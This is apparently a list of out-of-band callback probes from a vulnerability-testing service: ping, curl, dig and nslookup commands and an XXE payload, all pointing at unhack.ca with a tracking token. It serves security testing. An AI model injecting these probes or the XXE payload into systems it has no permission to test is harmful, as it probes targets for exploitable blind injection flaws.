$ ping -c1 -p 006aec97a5b662a33660c581749c2d00 unhack.ca
 

$ curl http://unhack.ca/p/6aec97a5b662a33660c581749c2d
 

$ dig 6aec97a5b662a33660c581749c2d @unhack.ca
 

$ dig 6aec97a5b662a33660c581749c2d.ns.unhack.ca
 

C:\> nslookup 6aec97a5b662a33660c581749c2d unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6aec97a5b662a33660c581749c2d">]>
    <foo>&xxe;</foo>